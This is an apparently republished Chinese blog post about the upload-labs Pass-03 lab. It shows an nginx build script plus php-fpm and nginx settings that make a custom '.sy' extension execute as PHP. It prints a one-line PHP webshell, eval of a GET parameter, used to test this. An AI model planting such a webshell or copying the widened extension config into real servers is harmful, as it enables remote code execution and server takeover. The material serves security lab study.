upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正

这篇具有很好参考价值的文章主要介绍了upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

背景:为了验证php解析不依靠后缀名,可以是任何后缀名,纠正upload-labs Pass-03(黑名单验证,特殊后缀)里所说的几个固定的后缀名理论是错误的。

1 部署

1.1 环境准备

1.1.1 系统、内核(可以是任何系统)

 /etc/os-release
NAME="Fedora Linux"
VERSION="38 (Server Edition)"
ID=fedora
VERSION_ID=38
...
uname -a
Linux localhost.localdomain 6.6.7-100.fc38.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 13 21:41:36 UTC 2023 x86_64 GNU/Linux

1.1.2 应用

php7.2 (可以是任意版本php,此次采用7.2是为了验证PHP远程代码执行漏洞复现CVE-2019-11043,结果没成功,原因是前端web应用我部署的是nginx,案例里docker容器里是Apache+php7.2)
相关连接:CVE-2019-11043

nginx (可以是任何版本nginx,预编译取消nginx用户是想验证默认编译好的user是否是nobody)

1.2 部署

1.2.1 php部署连接如下

编译安装 PHP 7.2.10

额外修改php-fpm内容如下:

security.limit_extensions = .php5 .phps .sy .php
加到配置最后即可,然后需要重启php-fpm

1.2.2 nginx部署脚本如下:

#!/bin/bash
#
#********************************************************************
#Author:                        Mr.Song
#QQ:                            1132197391
#Date:                          2020-12-01
#FileName:                     install_nginx.sh
#Description:          The test script
#Copyright (C):         2021 All rights reserved
#********************************************************************
SRC_DIR=/usr/local/src
NGINX_URL=http://nginx.org/download/
NGINX_FILE=nginx-1.25.1
#NGINX_FILE=nginx-1.18.0
TAR=.tar.gz
NGINX_INSTALL_DIR=/apps/nginx
CPUS=`lscpu |awk '/^CPU\(s\)/{print $2}'`
. /etc/os-release

color () {
    RES_COL=60
    MOVE_TO_COL="echo -en \\033[${RES_COL}G"
    SETCOLOR_SUCCESS="echo -en \\033[1;32m"
    SETCOLOR_FAILURE="echo -en \\033[1;31m"
    SETCOLOR_WARNING="echo -en \\033[1;33m"
    SETCOLOR_NORMAL="echo -en \E[0m"
    echo -n "$1" && $MOVE_TO_COL
    echo -n "["
    if [ $2 = "success" -o $2 = "0" ] ;then
        ${SETCOLOR_SUCCESS}
        echo -n $"  OK  "
    elif [ $2 = "failure" -o $2 = "1"  ] ;then
        ${SETCOLOR_FAILURE}
        echo -n $"FAILED"
    else
        ${SETCOLOR_WARNING}
        echo -n $"WARNING"
    fi
    ${SETCOLOR_NORMAL}
    echo -n "]"
    echo
}

os_type () {
   awk -F'[ "]' '/^NAME/{print $2}' /etc/os-release
}

os_version () {
   awk -F'"' '/^VERSION_ID/{print $2}' /etc/os-release
}

check () {
    [ -e ${NGINX_INSTALL_DIR} ] && { color "nginx 已安装,请卸载后再安装" 1; exit; }
    cd  ${SRC_DIR}
    if [  -e ${NGINX_FILE}${TAR} ];then
        color "相关文件已准备好" 0
    else
        color '开始下载 nginx 源码包' 0
        wget ${NGINX_URL}${NGINX_FILE}${TAR}
        [ $? -ne 0 ] && { color "下载 ${NGINX_FILE}${TAR}文件失败" 1; exit; }
    fi
}

install () {
    color "开始安装 nginx" 0
    if id nginx  &> /dev/null;then
        color "nginx 用户已存在" 1
    else
        #useradd -s /sbin/nologin -r  nginx
        color "创建 nginx 用户" 0
    fi
    color "开始安装 nginx 依赖包" 0
    if [ $ID == "centos" ] ;then
            if [[ $VERSION_ID =~ ^7 ]];then
            yum -y -q  install make gcc pcre-devel openssl-devel zlib-devel perl-ExtUtils-Embed
                elif [[ $VERSION_ID =~ ^8 ]];then
            yum -y -q install make gcc-c++ libtool pcre pcre-devel zlib zlib-devel openssl openssl-devel perl-ExtUtils-Embed
                else
            color '不支持此系统!'  1
            exit
        fi
    elif [ $ID == "rocky"  ];then
            yum -y -q install make gcc-c++ libtool pcre pcre-devel zlib zlib-devel openssl openssl-devel perl-ExtUtils-Embed
        else
        apt update &> /dev/null
        apt -y install make gcc libpcre3 libpcre3-dev openssl libssl-dev zlib1g-dev &> /dev/null
    fi
    cd $SRC_DIR
    tar xf ${NGINX_FILE}${TAR}
    NGINX_DIR=`echo ${NGINX_FILE}${TAR}| sed -nr 's/^(.*[0-9]).*/\1/p'`
    cd ${NGINX_DIR}
    #./configure --prefix=${NGINX_INSTALL_DIR} --user=nginx --group=nginx --with-http_ssl_module --with-http_v2_module --with-http_realip_module --with-http_stub_status_module --with-http_gzip_static_module --with-pcre --with-stream --with-stream_ssl_module --with-stream_realip_module
    ./configure --prefix=${NGINX_INSTALL_DIR}  --with-http_ssl_module --with-http_v2_module --with-http_realip_module --with-http_stub_status_module --with-http_gzip_static_module --with-pcre --with-stream --with-stream_ssl_module --with-stream_realip_module
    make -j $CPUS && make install
    [ $? -eq 0 ] && color "nginx 编译安装成功" 0 ||  { color "nginx 编译安装失败,退出!" 1 ;exit; }
    echo "PATH=${NGINX_INSTALL_DIR}/sbin:${PATH}" > /etc/profile.d/nginx.sh
    cat > /lib/systemd/system/nginx.service <<EOF
[Unit]
Description=The nginx HTTP and reverse proxy server
After=network.target remote-fs.target nss-lookup.target

[Service]
Type=forking
PIDFile=${NGINX_INSTALL_DIR}/logs/nginx.pid
ExecStartPre=/bin/rm -f ${NGINX_INSTALL_DIR}/logs/nginx.pid
ExecStartPre=${NGINX_INSTALL_DIR}/sbin/nginx -t
ExecStart=${NGINX_INSTALL_DIR}/sbin/nginx
ExecReload=/bin/kill -s HUP \$MAINPID
KillSignal=SIGQUIT
TimeoutStopSec=5
KillMode=process
PrivateTmp=true
LimitNOFILE=100000

[Install]
WantedBy=multi-user.target
EOF
    systemctl daemon-reload
    systemctl enable --now nginx &> /dev/null
    systemctl is-active nginx &> /dev/null ||  { color "nginx 启动失败,退出!" 1 ; exit; }
    color "nginx 安装完成" 0
}

check
install

配置如下:

location / {
            root   html;
            index index.html index.php;
            #index index.html index.php index.pht index.phps index.php5;
            try_files $uri $uri/ =404;
        }
        location ~ (.php|.php5|.phps|.sy)$ {
        #location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        include fastcgi_params;

        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_index index.php;
        fastcgi_param  REDIRECT_STATUS    200;
        fastcgi_param  SCRIPT_FILENAME /apps/nginx/html$fastcgi_script_name;
        fastcgi_param  DOCUMENT_ROOT /apps/nginx/html;
        fastcgi_pass localhost:9000;
        }

1.2.3 upload-labs部署

upload-labs源码

解压放入 nginx的html目录下即可

2 验证php-fpm配置的后缀名是否生效

get方法一句话木马如下:

<?php eval(@$_GET['sy']);

upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正,web安全,运维

upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正,web安全,运维
以上.sy结尾就是我在php-fpm所配置的.sy结尾的后缀名文件
需要注意的是前端代理nginx 路由需要标注后缀名否则会出现403如下:
upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正,web安全,运维

未配置路由日志:
upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正,web安全,运维

正常日志
upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正,web安全,运维

如果nginx路由配置了,后端php-fpm未配置就解析不了,直接下载到本地了文章来源地址https://www.toymoban.com/news/detail-762881.html

到了这里,关于upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [ 系统安全篇 ] 拉黑IP - 火绒安全软件设置IP黑名单 && windows使用系统防火墙功能设置IP黑名单

    👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋 🙏作者水平有

    2024年02月10日
    浏览(56)
  • Tomcat设置IP黑名单和白名单server.xml

    可以单个IP或者多个ip,多个ip用|分隔,支持正则 在server.xml文件的host节点添加如下语句 其中allow表示白名单,deny表示黑名单,denyStatus表示无法访问时的状态码。 allow和deny都为空时,表示所有id都能访问 allow为空,deny有值时,表示除deny中的ip外都能访问 allow有值,deny为空时

    2024年02月03日
    浏览(42)
  • android 12.0app应用卸载黑名单

    在12.0在进行定制化开发中,最近由需求要求对于安装卸载app的功能做限制,对于限制app卸载的功能也是常有的功能,就是常说的app卸载黑名单功能,而app的安装和卸载都是有pms进行管理的

    2024年02月07日
    浏览(45)
  • android 13.0 app应用安装黑名单

    在13.0系统rom定制化开发中,客户需求要实现应用安装黑名单功能,在白名单之中的应用可以安装,其他的app不准安装,实现一个 控制app安装的功能,这需要从app安装流程入手就可以实现功能 PMS就是负责管理app安装的,功能就添加在这里就可以了,接下来看具体实现这个功能

    2024年02月01日
    浏览(55)
  • CENTOS 7 添加黑名单禁止IP访问服务器

    只需要把ip添加到 /etc/hosts.deny 文件即可,格式  sshd:$IP:deny touch /data/blacklist/black.txt ssh **.**.**.** cat /data/blacklist/black.txt cat /etc/hosts.deny 注:以上内容仅提供参考和交流,请勿用于商业用途,如有侵权联系本人删除!

    2024年01月18日
    浏览(41)
  • Centos 服务器禁止 IP访问/ IP黑名单

    本文结合上文的一起使用体验更佳《Centos实时网络带宽占用查看工具iftop》

    2024年02月11日
    浏览(52)
  • Ip-Limit: Java轻量级注解式IP限流(黑名单/白名单)组件【一】

    基于JVM缓存的轻量级、注解式IP限流组件,方便项目快速引用,满足多线程场景。 默认为滑动窗口限流器,内置令牌桶限流器,可通过注解的属性配置修改 项目Github地址: https://github.com/DDAaTao/ip-limiter 项目Gitee地址:https://gitee.com/fanwentaomayun/ip-limiter 使用样例 包含较为详细的

    2024年02月13日
    浏览(39)
  • 文件上传漏洞基础/content-type绕过/黑名单绕过/

    目录 一、content-type绕过 contenent-type 源代码分析 绕过方式 尝试绕过 二、黑名单绕过 黑名单 代码分析 绕过方法 尝试绕过 contenent-type 有些上传模块,会对http的类型头进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务器是通过ent-type判断类型,

    2024年02月07日
    浏览(46)
  • 过亿资产地址被拉入黑名单?Tether地址冻结功能该怎么用?

    一直以来收到不少用户私信求助,表示自己的USDT发生转错账/被盗/诈骗等类似问题,损失不少金额。所以再次提醒大家不要泄露自己的私钥!不要点击未知网站,谨防钓鱼事件的发生!在暗潮汹涌的区块链世界里,光有警惕心还不够,还得掌握相关的知识技能才能更好的保护

    2024年02月15日
    浏览(49)
  • LiveGBS流媒体平台GB/T28181功能-基础配置接入控制白名单黑名单配置控制设备安全接入设备单独配置接入密码

    LiveGBS国标流媒体服务,支持白名单配置。 可在设备注册前,配置白名单(设备国标编号,接入密码); 注册接入的摄像机或是平台,优先校验白名单中配置的密码; 设备在白名单中,密码不正确时,阻止接入; 设备不在白名单中,会校验密码是否与信令服务中统一接入密

    2024年01月16日
    浏览(67)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包